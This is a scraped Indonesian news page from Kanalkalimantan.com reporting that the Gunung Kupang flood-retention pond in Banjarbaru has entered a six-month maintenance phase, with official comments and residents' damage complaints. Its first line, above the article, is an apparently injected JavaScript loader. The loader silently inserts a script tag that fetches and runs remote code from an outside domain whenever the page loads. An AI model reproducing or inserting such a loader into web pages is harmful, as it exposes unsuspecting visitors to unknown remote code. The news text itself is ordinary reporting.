(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

Proyek Embung Gunung Kupang Masuk Tahap Pemeliharaan


KANALKALIMANTAN.COM, BANJARBARU – Proyek pembangunan embung penangkal banjir di Gunung Kupang, Kecamatan Cempaka, Kota Banjarbaru masuk tahap pemeliharaan selama 6 bulan ke depan.

Kepala Bidang Sumber Daya Air (SDA) Dinas Pekerjaan Umum dan Perumahan Rakyat (DPUPR) Banjarbaru.M Deny Pramudji mengatakan, pengerjaan proyek vital pemerintah Kota Banjarbaru itu sudah dianggap selesai 100 persen.

Perampungan deadline proyek tersebut terhitung sejak 50 hari kerja setelah tanggal 1 Januari 2024 lalu atau selesai pada 19 Februari 2024 lalu.

Baca juga: Aturan Ramadan di Banjarmasin: THM Tutup hingga Pengaturan Pengeras Suara Masjid dan Musholla

“Embung Gunung Kupang kita anggap sudah selesai 100 persen, memang ada catatan-catatan dari tim PHO, seperti perbaikan akan dilangsungkan selama masa pemeliharaan selama 6 bulan ini,” ujar Kabid SDA DPUPR Banjarbaru kepada Kanalkalimantan.com, Senin (11/3/2024).

Catatan-catatan seperti adanya kerusakan maupun perbaikan dan perapian letak material yang kurang, kata dia, akan dilakukan dalam kurun waktu 6 bulan ini, dengan masih dalam tanggung jawab kontraktor.

“Catatan itu kita lihat salah satunya adanya tanggul-tanggul yang kurang rapi maka kita minta perbaikan perapiannya,” sebut dia.

Baca juga: Bupati Hadiri Pisah Sambut Kepala Kantor Kemenag Kabupaten Banjar

Sesuai dengan kajian penanganan banjir di Cempaka, Deny menjelaskan bahwa dengan adanya embung Gunung Kupang ini dapat mereduksi banjir sekitar 30-40 persen.

Tentunya proyek ini dibuat dengan fokus penanganan banjir di jalur Cempaka seperti kawasan Kertak Baru, Sungai Kuranji, dan Sungai Basung.

Sementara itu, terkait keluhan warga yang sempat disampaikan akibat terdampak atas pembangunan proyek, Deny mengakui saat ini pihaknya bersama kontraktor sedang melakukan penanganan secara bertahap.

Baca juga: DPUPR Banjarbaru Perbaiki Longsor Siring Sungai Basung

“Untuk perbaikan meluhan masyarakat kita lakukan penanganan secara bertahap, seperti rumah warga kita lakukan penanganan, kemudian perbaikan drainase kita masih lakukan perencanaannya,” ungkapnya.

Disebutkannya bahwa beberapa rumah warga di kawasan proyek itu memang ada yang mengalami keretakan yang bervariasi.

Namun, sambungnya, pihak kontraktor telah berkomitmen untuk melakukan perbaikan hingga akhir.

“Kerusakan memang ada beberapa rumah warga yang terdampak dan kontraktor berkomitmen memperbaiki, kemarin targetnya satay bulan setelah embung ini selesai,” tuntas dia. (Kanalkalimantan.com/wanda)

Reporter : wanda
Editor : bie


Muhammad Andi

Recent Posts

Hidup Makin Tenang, Hadapi Risiko dengan Asuransi Pelita dari BRI Life

KANALKALIMANTAN.COM, - Asuransi merupakan salah satu bentuk perlindungan yang perlu dimiliki setiap orang. Dengan memiliki… Read More

9 jam ago

10 Mei Hari Lupus Sedunia, Yuk Kenali Penyakit Lupus

KANALKALIMANTAN.COM - Peringatan Hari Lupus Sedunia ini diadakan pada tanggal 10 Mei setiap tahunnya. Hari… Read More

9 jam ago

Teror Buaya Muara di Pelambuan, Warga Diminta Jauhi Sungai

KANALKALIMANTAN.COM, BANJARMASIN - Buaya yang kerap muncul di Sungai Pelambuan, Kecamatan Banjarmasin Barat, Kota Banjarmasin,… Read More

10 jam ago

Satgas Distribusi Material ke Lokasi TMMD Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Pelaksaanan program TNI Manunggal Membangun Desa (TMMD) ke-120 Kodim 1001/HSU-BLG di Desa… Read More

14 jam ago

Yakin ‘Pemilik’ 13 Kursi Golkar, Acil Odah Lamar Nasdem Koalisi di Pilgub Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Hj Raudatul Jannah atau Acil Odah siap ramaikan kontestasi Pemilihan Kepala Daerah… Read More

16 jam ago

Musrenbang RPJPD 2025-2045, Bahas Rencana Program HSU 20 Tahun ke Depan

KANALKALIMANTAN.COM, AMUNTAI - Pemerintah Kabupaten Hulu Sungai Utara melaksanakan Musyawarah Perencanaan Pembangunan (Musrenbang) Rencana Pembangunan… Read More

16 jam ago

This website uses cookies.